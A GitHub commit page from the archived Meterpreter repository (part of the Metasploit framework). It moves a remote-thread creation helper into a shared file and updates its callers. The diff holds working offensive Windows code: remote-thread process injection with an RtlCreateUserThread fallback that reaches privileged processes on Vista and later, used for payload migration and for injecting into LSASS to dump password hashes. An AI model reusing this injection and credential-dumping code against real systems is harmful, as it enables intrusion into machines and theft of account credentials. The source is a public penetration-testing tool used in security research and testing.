Skip to content
This repository has been archived by the owner on Jan 22, 2024. It is now read-only.

Commit

Permalink
Land #72, create_remote_thread fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
egypt committed Feb 19, 2014
2 parents b868016 + 84556e2 commit bc2b93d
Show file tree
Hide file tree
Showing 9 changed files with 162 additions and 119 deletions.
58 changes: 33 additions & 25 deletions source/common/arch/win/i386/base_inject.c
@@ -1,5 +1,6 @@
#include "common.h"
#include "base_inject.h"
#include "../remote_thread.h"
#include "./../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
#include <Tlhelp32.h>

Expand Down Expand Up @@ -420,59 +421,66 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV
/*
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
*/
DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter)
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
HANDLE hThread = NULL;
DWORD dwThreadId = 0;
HANDLE hThread = NULL;

do
{
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
// fails, giving us a chance to try an alternative method or fail migration gracefully.
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
if( !hThread )
hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
if (!hThread)
{
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64)
{
// injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).

dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;

if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" )
if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed")
}
}
else
{
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" )
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed")
}
}
else
{
dprintf("[INJECT] inject_via_remotethread: succeeded");
}

if( remote && response )
if (remote && response)
{
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..." );
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response...");
// Send a successful response to let the ruby side know that we've pretty
// much successfully migrated and have reached the point of no return
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique );
packet_transmit_response( ERROR_SUCCESS, remote, response );
packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique);
packet_transmit_response(ERROR_SUCCESS, remote, response);

dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..." );
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds...");
// Sleep to give the remote side a chance to catch up...
Sleep( 2000 );
Sleep(2000);
}

dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." );
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
// Resume the injected thread...
if( ResumeThread( hThread ) == (DWORD)-1 )
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" )
if (ResumeThread(hThread) == (DWORD)-1)
{
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed")
}

} while( 0 );
} while (0);

if( hThread )
CloseHandle( hThread );
if (hThread)
{
CloseHandle(hThread);
}

SetLastError( dwResult );
SetLastError(dwResult);

return dwResult;
}
Expand Down
94 changes: 94 additions & 0 deletions source/common/arch/win/remote_thread.c
@@ -0,0 +1,94 @@
#include "common.h"
#include "remote_thread.h"

/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
typedef struct _MIMI_CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENTID;

/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
static PRtlCreateUserThread pRtlCreateUserThread = NULL;
/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
static BOOL pRtlCreateUserThreadAttempted = FALSE;

/*!
* @brief Helper function for creating a remote thread in a privileged process.
* @param hProcess Handle to the target process.
* @param sStackSize Size of the stack to use (if unsure, specify 0).
* @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
* @param pvStartParam Pointer to the parameter to pass to the thread function.
* @param dwCreateFlags Creation flags to use when creating the new thread.
* @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional).
* @return Handle to the new thread.
* @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
* @remark This function has been put in place to wrap up the handling of creating remote threads
* in privileged processes across all operating systems. In Windows XP and earlier, the
* \c CreateRemoteThread() function was sufficient to handle this case, however this changed
* in Vista and has been that way since. For Vista onwards, the use of the hidden API function
* \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
* first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
* existing behaviour is kept for when running on XP and earlier, or when the user is already
* running within a privileged process.
*/
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
{
NTSTATUS ntResult;
BOOL bCreateSuspended;
DWORD dwThreadId;
HANDLE hThread;

if (pdwThreadId == NULL)
{
pdwThreadId = &dwThreadId;
}

hThread = CreateRemoteThread(hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId);

// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
// on Vista and later.
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
{
dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options");
hThread = NULL;

// Only attempt to load the function pointer if we haven't attempted it already.
if (!pRtlCreateUserThreadAttempted)
{
if (pRtlCreateUserThread == NULL)
{
pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
if (pRtlCreateUserThread)
{
dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
}
}
pRtlCreateUserThreadAttempted = TRUE;
}

// if at this point we don't have a valid pointer, it means that we don't have this function available
// on the current OS
if (pRtlCreateUserThread)
{
dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread");
bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED;
ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL);
SetLastError(ntResult);

if (ntResult == 0 && pdwThreadId)
{
*pdwThreadId = GetThreadId(hThread);
}
}
else
{
// restore the previous error so that it looks like we haven't done anything else
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
}
}

return hThread;
}

6 changes: 6 additions & 0 deletions source/common/arch/win/remote_thread.h
@@ -0,0 +1,6 @@
#ifndef _METERPRETER_REMOTE_THREAD_H
#define _METERPRETER_REMOTE_THREAD_H

HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);

#endif
73 changes: 1 addition & 72 deletions source/extensions/priv/server/passwd.c
Expand Up @@ -138,77 +138,6 @@ typedef void *(*MemcpyType)(void *, const void *, size_t);
/* define types for ntdll */
typedef size_t (*WcstombsType)(char *, const wchar_t *, size_t);

/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
typedef struct _MIMI_CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENTID;

/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, char, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
static PRtlCreateUserThread pRtlCreateUserThread = NULL;
/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
static BOOL pRtlCreateUserThreadAttempted = FALSE;

/*!
* @brief Helper function for creating a remote thread in a privileged process.
* @param hProcess Handle to the target processj.
* @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
* @param pvStartParam Pointer to the parameter to pass to the thread function.
* @return Handle to the new thread.
* @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
* @remark This function has been put in place to wrap up the handling of creating remote threads
* in privileged processes across all operating systems. In Windows XP and earlier, the
* \c CreateRemoteThread() function was sufficient to handle this case, however this changed
* in Vista and has been that way since. For Vista onwards, the use of the hidden API function
* \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
* first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
* existing behaviour is kept for when running on XP and earlier, or when the user is already
* running within a privileged process.
*/
HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam)
{
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, 0, NULL);

// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
// on Vista and later.
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
{
dprintf("[PASSWD] CreateRemoteThread seems to lack permissions, trying alternative options");
hThread = NULL;

// Only attempt to load the function pointer if we haven't attempted it already.
if (!pRtlCreateUserThreadAttempted)
{
if (pRtlCreateUserThread == NULL)
{
pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
if (pRtlCreateUserThread)
{
dprintf("[PASSWD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
}
}
pRtlCreateUserThreadAttempted = TRUE;
}

// if at this point we don't have a valid pointer, it means that we don't have this function available
// on the current OS
if (pRtlCreateUserThread)
{
dprintf("[PASSWD] Attempting thread creation with RtlCreateUserThread");
SetLastError(pRtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL));
}
else
{
// restore the previous error so that it looks like we haven't done anything else
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
}
}

return hThread;
}

char *string_combine(char *string1, char *string2)
{
size_t s1len, s2len;
Expand Down Expand Up @@ -847,7 +776,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
sBytesWritten = 0;

/* start the remote thread */
if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory)) == NULL)
if ((hThreadHandle = create_remote_thread(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
{
dwError = GetLastError();
dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError);
Expand Down
1 change: 1 addition & 0 deletions source/extensions/priv/server/precomp.h
Expand Up @@ -6,6 +6,7 @@
#include "./elevate/elevate.h"
#include "passwd.h"
#include "fs.h"
#include "../../../common//arch/win/remote_thread.h"

#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
Expand Down
5 changes: 2 additions & 3 deletions source/extensions/stdapi/server/sys/process/thread.c
@@ -1,4 +1,5 @@
#include "precomp.h"
#include "../../../../../common/arch/win/remote_thread.h"

ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name,
DWORD size);
Expand Down Expand Up @@ -89,9 +90,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
}

// Create the thread in the process supplied
if (!(thread = CreateRemoteThread(process, NULL, 0,
(LPTHREAD_START_ROUTINE)entryPoint, entryParam, createFlags,
&threadId)))
if (!(thread = create_remote_thread(process, 0, entryPoint, entryParam, createFlags, &threadId)))
{
result = GetLastError();
break;
Expand Down

0 comments on commit bc2b93d

Please sign in to comment.